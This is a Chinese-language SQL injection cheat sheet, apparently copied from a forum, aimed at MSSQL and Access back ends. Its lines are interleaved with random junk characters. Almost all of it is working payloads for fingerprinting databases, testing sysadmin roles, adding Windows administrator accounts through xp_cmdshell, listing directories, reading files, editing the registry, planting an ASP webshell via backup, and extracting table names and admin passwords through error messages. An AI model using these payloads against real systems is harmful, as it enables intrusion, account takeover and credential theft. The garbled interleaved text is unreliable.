1.判断是否有注入 * }) l% S0 d: j5 p& O( \) a
;and 1=1 : j/ {+ x& J: l& W4 U& c: Z3 \
;and 1=2 4 q/ z: }2 M9 g1 }- M* r
+ K! y/ N' C6 `' N0 m! W& }2.初步判断是否是mssql
9 z7 v+ Q! K+ u" O9 N;and user>0
: u) X" E1 r( i0 ?6 F+ _0 g9 |: |
0 p7 D" G; b4 B4 f6 \8 v7 S/ n3.判断数据库系统 ' ]5 t6 O+ F ~* G/ r
;and (select count(*) from sysobjects)>0 mssql # v8 T" C, T9 W" _9 G
;and (select count(*) from msysobjects)>0 access
1 U4 K: a; d" Y1 ~& t% ]
0 l+ C$ x; k# @4.注入参数是字符
5 i, k9 c- u8 Z- |9 R, d3 l# d'and [查询条件] and ''=' . `/ X6 }' V; t1 j% c. e
6 j q; v3 G0 x( v5.搜索时没过滤参数的 p) }7 v9 c9 v1 u3 Q$ |' j t
'and [查询条件] and '%25'='
* Z( G! i t* b* w4 [1 e( p) K+ K8 {4 S* n1 S i& Q
6.猜数表名
3 |3 I2 c( h/ w* j;and (select Count(*) from [表名])>0 * w1 S6 N! D4 E+ e* ?$ ]
0 c7 w! C5 Z: W" h" K2 ]7 J7.猜字段 ! n" o6 W7 O- o
;and (select Count(字段名) from 表名)>0
& m V2 O: n8 e2 v: p' \" p: P& l& e5 A% m1 t3 n) ]5 I. z z) t
8.猜字段中记录长度 8 `& R2 }) v8 T
;and (select top 1 len(字段名) from 表名)>0 7 ~/ u& l) c) f5 D7 p% u; F7 m
4 X& M F8 X; s# a2 g
9.(1)猜字段的ascii值(access) # n) @: E5 ^& b$ J; h, S+ t" p
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
8 ^& T7 D( u% x M4 z6 U- r( `" ?4 N* ^( {+ s- y7 T
(2)猜字段的ascii值(mssql)
6 u z9 i) B( y$ Z7 |* r;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ T7 j( r0 E3 k) L) Y$ b' o
. }6 Z2 ~1 F `% p; q10.测试权限结构(mssql) % u; b" v. o8 X: t) c) H
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- / Q" ?, T' F9 c% a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
\6 U2 g, J" O/ }& s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
3 Y% s. g K' H. O' Y# x;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ ?; D6 R/ F) x9 r;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
" o7 h& P* I1 B! ?( \$ o, r. M! h;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * O1 @+ Q" B: ~0 n$ X$ k; S
;and 1=(select IS_MEMBER('db_owner'));-- / B9 N# n6 u* \: Z
8 r& l2 b- E" g3 c- Q
11.添加mssql和系统的帐户 ' ]" e: `/ I1 M. O6 C s6 F$ M
;exec master.dbo.sp_addlogin username;--
2 a1 m; Y) d( {# o/ N;exec master.dbo.sp_password null,username,password;--
$ S4 u% ~- E8 U7 c. m' ~( @. b" w;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( u' n& ?) B3 f7 b! l Q/ F;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 8 \7 d. h; l6 }6 x; j$ L
;exec master.dbo.xp_cmdshell 'net user username password /add';--
" _2 |: ^1 ~/ y6 x; e) B. N6 z6 x;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 y+ v; e8 H7 S e1 W# m; N0 ?, W9 L9 ^' ]
12.(1)遍历目录 2 D+ p8 |5 ^) F0 V: I
;create table dirs(paths varchar(100), id int)
" e9 a# I6 q. e: B, G;insert dirs exec master.dbo.xp_dirtree 'c:\' 7 t. a. u( G9 E
;and (select top 1 paths from dirs)>0
, Y& s( q7 v* k! K- h6 {;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( z5 S: p5 F. N1 U: r$ T( d
9 Y; E$ z; s/ N" U& T) \& k1 i(2)遍历目录
, e9 V a' q4 U4 r; k;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" }( o1 U, F! r) R% {;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% z% P4 `3 _7 l- W+ h/ B;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 ^8 z1 V2 O: p% ? U6 J% A* n3 R( t;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
C2 x+ g9 n1 R% K$ n2 w;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 O% ]9 F* _9 u5 g% q. A J/ ?
8 E9 t( e& [- F$ i
13.mssql中的存储过程 / w# Z& [! ]$ i& b- w, J
xp_regenumvalues 注册表根键, 子键 ! X' u4 Z6 L& [& M
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : A2 }" F9 N* U
xp_regread 根键,子键,键值名
% U: O; X: @# R# p0 L J2 X;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( Y) w# T$ _* D8 J% p! e L; N; D
xp_regwrite 根键,子键, 值名, 值类型, 值 1 Q) u9 ]+ W* F$ ^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
" E3 L3 M' d% ?6 o;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ' T) M* E2 u6 F, k" w; j
xp_regdeletevalue 根键,子键,值名 " R2 t+ @7 u- ?" h0 x% D& x+ c. `, H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
( `. T* Z t" q. V; V, Fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
( g0 |% b* r5 a0 m. k/ V' I+ ~- \; u1 A; j8 @ B w7 r+ y
14.mssql的backup创建webshell 2 v/ I G. f" c2 r) j0 a$ F
use model
- D2 n/ a6 ^8 ?3 s6 j* W8 N* {& Ocreate table cmd(str image); ; p' T4 j! Z3 }3 w: t o7 @
insert into cmd(str) values ('<% Dim oScript %>'); 9 [' S7 ?: S d; _+ x
backup database model to disk='c:\l.asp';
* r; z) ?5 w( V
% v3 Q- p* }" Y7 h4 ?8 [+ ~9 Q2 a15.mssql内置函数
! N; X: S i1 ]% ]0 J$ \;and (select @@version)>0 获得Windows的版本号 6 e3 T9 R2 h" b3 @4 ^' I6 z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 h5 h7 j; @9 i9 e8 y. `0 f/ ]
;and (select user_name())>0 爆当前系统的连接用户
7 F/ f2 _: `8 N;and (select db_name())>0 得到当前连接的数据库 % K a2 l1 ^8 O" O" O1 u* k
1 T$ R) k. i" {7 f" S* u9 d: F4 u$ _# F* v! ]6 j+ R2 y1 }% V
0 ~3 r1 H+ G1 c+ JMSSQL手注暴库
" Q; m3 }$ w5 @1 N1 |3 r
7 v/ E3 ~. B/ R- u! F% @. W1.暴出当前表名和列名1 o8 E3 r' e7 P% O* m$ m* f% z% p
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
J M: K7 g9 `, t4 E
4 H' @7 @0 n9 |第一.爆出所有数据库名
L& |& G# H& ^利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
( E4 ^0 ?$ m9 X* _2 H8 m; `. N$ d7 ^第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
6 L1 |' s C' e8 k p0 [3 j3 J: v2 w" w4 Z) K" x% i
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名# k5 u! Y; W: \7 A2 a
$ ]& o4 w! l. Q' S
) s1 h5 Y2 \6 D第二.爆出指定库中的所有表名5 W/ f# S* v# ~1 K
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。; T9 O; P& m6 r% M- w5 [
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. \" U; ^% b; l# [1 E# M3 A
, O; s% M- e j: N8 I; @1 ]
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
2 I# T+ U+ t2 K! L2 Eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
+ R, h, T% A3 K" {3 Q% Q" Z: Band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--2 e% L* U% l) M3 r- z" |9 T
: s6 g. { P. U* Q* u4.爆出指定表中的所有列名" @# _4 P* O! L' i+ c; K: V
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
+ U9 `6 O) _+ v% \" K! P8 W//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'' y+ z8 B5 ]5 h8 i2 q( ^
5 w$ k) u/ S0 f! P1 K b' ]
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
6 @- ]! }+ ^+ r) i' j4 m a0 ~$ x5 A. g5 D( W# i) r. R. M2 I# g8 V
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
; P( Y- d' y- R9 l( O" y依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
- K; h4 A& t, p% e% z
* M$ v3 t$ k& V7 @# [" J, `0 e$ E, [8 I9 y
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值" [2 u9 v0 ]5 i1 A; Z5 C
* X5 ~5 }, O% _* c- M0 Q7 L5 jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名$ `2 j. z9 t' o! @3 w. Y
/ @: h" e5 @; i. Y' _) Z/ c+ [and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # U: C) h# ^4 z; |5 D
. k5 Q) h; ^. z. N- T) @9 d2 q7 x1 [7 y& P. `
; `" B; _4 ~3 s% B
5.读取指定表中的数据; T; k8 a* a) u4 {
J( T& o% Z# \; f8 o- h Jand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ q+ B$ w" o3 P9 A
# L; H) G" s- }7 q5 Z
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--! {+ P8 W1 o5 d: a) F0 e
% `- H! A7 G* I) land 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# ^' _! `- ~, y1 o
; T4 C" L. V: Q$ {9 A1 [
) J. j9 Z# G6 U/ x9 }0 l6 w) gand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)1 e9 E5 n& G" y" G/ y% F/ w$ y
" z) u0 X- ]( U+ kand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)4 s; c* Z# N8 e! K- [5 u
o5 O9 @+ A2 ^/ p9 ?. B
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--9 A1 o$ }* j$ _' A; U: V
+ ^% z% U( F% R: s, D8 |6 h
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
9 f9 ?7 g# k, s( l1 r: f- ]9 `, V |